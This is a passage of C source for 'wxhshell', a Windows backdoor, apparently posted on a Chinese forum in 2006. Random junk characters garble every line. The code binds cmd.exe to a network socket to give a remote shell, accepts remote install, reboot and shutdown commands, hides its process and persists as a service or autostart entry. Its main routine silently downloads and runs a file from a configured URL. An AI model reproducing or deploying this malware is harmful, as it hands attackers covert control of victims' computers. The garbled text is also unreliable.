    switch(cmd[0]) { "]>JtK  
  9Xo'U;J  
  // 帮助 V^B'T]s  
  case '?': { U4qp?g+:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z2~;u[0a[  
    break; ,pE{N&p9  
  } Zm& X $U  
  // 安装 <\eHK[_*  
  case 'i': { ,u7: l  
    if(Install()) !q=ej^(S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bi/=cI  
    else W4Rs9NA}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :"7V,UP @  
    break; 9i GUE  
    } rU`#3}s  
  // 卸载 gd^1c}UZX  
  case 'r': { |_/q0#"  
    if(Uninstall()) GqBZWmAB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O`5PX(J1&  
    else .vYU4g]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^+tAgK2   
    break; s9svuFb  
    } ~K]5`(KV  
  // 显示 wxhshell 所在路径 CM?dB$AwX  
  case 'p': { J[2c[|[-  
    char svExeFile[MAX_PATH]; 6,*hzyy}Qu  
    strcpy(svExeFile,"\n\r"); | YmQO#''  
      strcat(svExeFile,ExeFile); Fl<|/DCg  
        send(wsh,svExeFile,strlen(svExeFile),0); ~c~N _b  
    break; IOmQ1X7,  
    } (b%&DyOt  
  // 重启 8sjAr.iT.  
  case 'b': { F+ qRC_C>O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VSP6osX{  
    if(Boot(REBOOT)) Wcd;B7OH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4^\5]d!  
    else { 8gWifx #N  
    closesocket(wsh); CIAHsbn.A  
    ExitThread(0); )!J0e-T-8O  
    } udVEO n$  
    break; |n3fAN  
    } tQE=c 7/M  
  // 关机 6=A   
  case 'd': { NwbB\Wl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U;p"x^U`  
    if(Boot(SHUTDOWN)) Lpd q^X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2<53y~Yi%  
    else { g>)&Q >}=W  
    closesocket(wsh); q66!xhp;?  
    ExitThread(0); N@Pf\D  
    } '*H&s  
    break; \g& P5  
    } Hh`x>{,|S  
  // 获取shell `7$0H]*6  
  case 's': { ;zVtJG`  
    CmdShell(wsh); {#"[h1  
    closesocket(wsh); w&<-pIa`  
    ExitThread(0); dnt: U!TW@  
    break; hAq7v']m  
  } A+v6N>}*  
  // 退出 #vCtH2  
  case 'x': { :MPWf4K2s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h^o>9s/|/H  
    CloseIt(wsh); |^p7:)cy  
    break; L5$r<t<  
    } X:Z4QqT  
  // 离开 ^-Ob($(\  
  case 'q': { ) Zud|%L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :k9n 9  
    closesocket(wsh); d Bn/_  
    WSACleanup(); t Dn{;ED<  
    exit(1); ~k>H4hV3  
    break; V ':?rEN|  
        } vt)u`/u  
  } <^>O<P:v  
  } MNd8#01q`  
2\Bt~;EIx  
  // 提示信息 bV c"'RQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?t<yk(q  
} d$.t0-lC  
  } ;s{k32e  
~nO]R   
  return; ('k;Ikut  
} <j CD^  
<NRW^#g<x  
// shell模块句柄 P X/{  
int CmdShell(SOCKET sock) 'MZX"t  
{ ?Pg{nlJvq  
STARTUPINFO si; :: IAXGH)  
ZeroMemory(&si,sizeof(si)); S5B12P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i2$7nSQ9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #+$pE@u7A  
PROCESS_INFORMATION ProcessInfo; n?uVq6c  
char cmdline[]="cmd"; L[v-5u)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nO-1^HUl  
  return 0; $&IF#uDf  
} e$!01Y$HI  
sXe=4`O  
// 自身启动模式 ig G8L  
int StartFromService(void) Y:UDte[Lb  
{ xZ2^lsY  
typedef struct ~Q<h,P  
{ =e\E{K'f@  
  DWORD ExitStatus; 6,Aj5jG  
  DWORD PebBaseAddress; PEA<H0  
  DWORD AffinityMask; f0 iYP   
  DWORD BasePriority; -<e8\Z`  
  ULONG UniqueProcessId; MPSoRA: h  
  ULONG InheritedFromUniqueProcessId; vm,/?]P  
}   PROCESS_BASIC_INFORMATION; _g{*;?mS  
k Qm\f  
PROCNTQSIP NtQueryInformationProcess; lJZ-*"9V  
7,vvL8\NHu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >v1E;-ZA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B_Qi  
Tz/=\_}  
  HANDLE             hProcess; !{On_>` ,  
  PROCESS_BASIC_INFORMATION pbi; dt -EY  
^uZ!e+   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "`A@_;At`  
  if(NULL == hInst ) return 0; @log=^  
*hugQh ]a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Ter]0M&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hz A+Oi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BEU^,r3z  
Hzos$1DJ  
  if (!NtQueryInformationProcess) return 0; <$m=@@qg  
HI+87f_Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c{7<z9U  
  if(!hProcess) return 0; . Y@)3  
w?u4-GT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H~fX >6>  
sf""]c$  
  CloseHandle(hProcess); m5Q?g8  
/%O+]#$`0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^uG^XY&ItC  
if(hProcess==NULL) return 0; Ed&;d+NM  
 k2]Q~  
HMODULE hMod; 3RYg-$NK[  
char procName[255]; Xgq-r $O2X  
unsigned long cbNeeded; "l83O8 L  
2y_R05O0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ykq9]Xqhv  
>$^v@jf  
  CloseHandle(hProcess); =^nb-9.  
e G8Zn<:s  
if(strstr(procName,"services")) return 1; // 以服务启动 RDFOUqS  
X9:4oMux7  
  return 0; // 注册表启动 g7>p,  
} 8Xo`S<8VS  
1w30Vj2<  
// 主模块 I @sXmC2$\  
int StartWxhshell(LPSTR lpCmdLine) CqF= 5z:A  
{ ]m ED3#  
  SOCKET wsl; 4JOw@/nE  
BOOL val=TRUE; ZW+[f$X  
  int port=0; x{=@~c%eh  
  struct sockaddr_in door; hu=b ,  
\a\J0&Z  
  if(wscfg.ws_autoins) Install(); .tFMa:   
y7&8P8R  
port=atoi(lpCmdLine); R9dC$Y]\M  
g 0=Q>TzY  
if(port<=0) port=wscfg.ws_port; zYL</!6a[  
S`N_},  
  WSADATA data; 2!UNFv#=$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0zscOE{  
?/EyfTex  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ds}ctL{6"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cwe@W PE2  
  door.sin_family = AF_INET; $s[DT!8N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #zRT  
  door.sin_port = htons(port); ss8de9T"'  
/CXrxeo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PA=.)8  
closesocket(wsl); *{/L7])gm  
return 1; /Ah|Po  
} ,{KjVv<  
*jAw  
  if(listen(wsl,2) == INVALID_SOCKET) { vocXk_  
closesocket(wsl); rSGt`#E-s.  
return 1; GQU9UXe  
} /.?m9O^ F  
  Wxhshell(wsl); ;p$KM-?2D  
  WSACleanup(); k@,&'imx  
Y~R['u,  
return 0; m{~p(sQL  
]GSs{'Uh B  
} !'ylh8}  
=|@%5&.P  
// 以NT服务方式启动 )2 Omsh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %`o3YR  
{ k1EAmA l  
DWORD   status = 0; |fQl0hL  
  DWORD   specificError = 0xfffffff; Iy2KOv@a5  
Oyfc!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }!^/<|$=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9/La _ :K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7<'4WHi;@s  
  serviceStatus.dwWin32ExitCode     = 0; 3]*_*<D  
  serviceStatus.dwServiceSpecificExitCode = 0; 3`W=rIMli  
  serviceStatus.dwCheckPoint       = 0; ]w)*8 w.)  
  serviceStatus.dwWaitHint       = 0; m/2LwN  
EPY64 {  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dWg09sx  
  if (hServiceStatusHandle==0) return; #D{jNSB  
[CCj5N1/  
status = GetLastError(); AqD)2O{VO  
  if (status!=NO_ERROR) 8Z^9r/%*Z  
{ d#?.G3YmK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "F,d}3}  
    serviceStatus.dwCheckPoint       = 0; `L-GI{EJ  
    serviceStatus.dwWaitHint       = 0; ,+iREh;  
    serviceStatus.dwWin32ExitCode     = status; L`fDc  
    serviceStatus.dwServiceSpecificExitCode = specificError; pi'w40!:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >o#5tNm  
    return; T'n~Qf U  
  }  qac4GZ  
";I|\ T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RV*7?y%3  
  serviceStatus.dwCheckPoint       = 0; JZCRu_M>|  
  serviceStatus.dwWaitHint       = 0; 71nI`.Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <> jut  
} rPk=9I  
|_=o0l f  
// 处理NT服务事件,比如:启动、停止 q- U/JC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D"5uN0Z  
{ ac/=%om8u  
switch(fdwControl) "R"7'sJMI  
{ S\qYw(G  
case SERVICE_CONTROL_STOP: HJ&|&tT  
  serviceStatus.dwWin32ExitCode = 0; qk Cj33v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rf &~7h'+  
  serviceStatus.dwCheckPoint   = 0; U~,~GU=X  
  serviceStatus.dwWaitHint     = 0; ypoJ4EZ(  
  { J9tQ@3{f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sdc yL%6!  
  } {AJcYZV  
  return; ;NyX9&@  
case SERVICE_CONTROL_PAUSE: ;au-NY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $;9zD11  
  break; SiD [54OM  
case SERVICE_CONTROL_CONTINUE: =Ws-s f]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mP1EWh|  
  break; }RGp)OFY&  
case SERVICE_CONTROL_INTERROGATE: &&N]u e@>  
  break; y~&R(x~w  
}; uP'x{Pr)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *3S ./ C}  
} l.DC20bs  
'>GZB  
// 标准应用程序主函数 L_>j SP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XQ+KI:g2  
{ .?gpI Zv  
g$qNK`y  
// 获取操作系统版本 ;P` z ?>J:  
OsIsNt=GetOsVer(); D6 2xC5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OygR5s +  
jIZpv|t)  
  // 从命令行安装 07zbx6:t  
  if(strpbrk(lpCmdLine,"iI")) Install(); X[ERlw1q4Q  
RhJ{#G~:%  
  // 下载执行文件 CS:"F) at  
if(wscfg.ws_downexe) { |@J:A!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RHV& m()Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); {b|:q>Be8  
} RCFocOOn  
xMk0Xf'_  
if(!OsIsNt) { <X7x  
// 如果时win9x,隐藏进程并且设置为注册表启动 6cCC+*V{  
HideProc(); .A: #l?  
StartWxhshell(lpCmdLine); H_RVGAb U  
} QEl:>HG  
else )G7")I J/X  
  if(StartFromService()) 67Z.aaXD1  
  // 以服务方式启动 >x(3p@6p  
  StartServiceCtrlDispatcher(DispatchTable); +V"t't7  
else 8vhg{L..  
  // 普通方式启动 ail%#E8  
  StartWxhshell(lpCmdLine); &dqC =oK]  
#6])\  
return 0; R$'0<y8E*]  
}
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只看该作者 1 发表于: 2006-10-10
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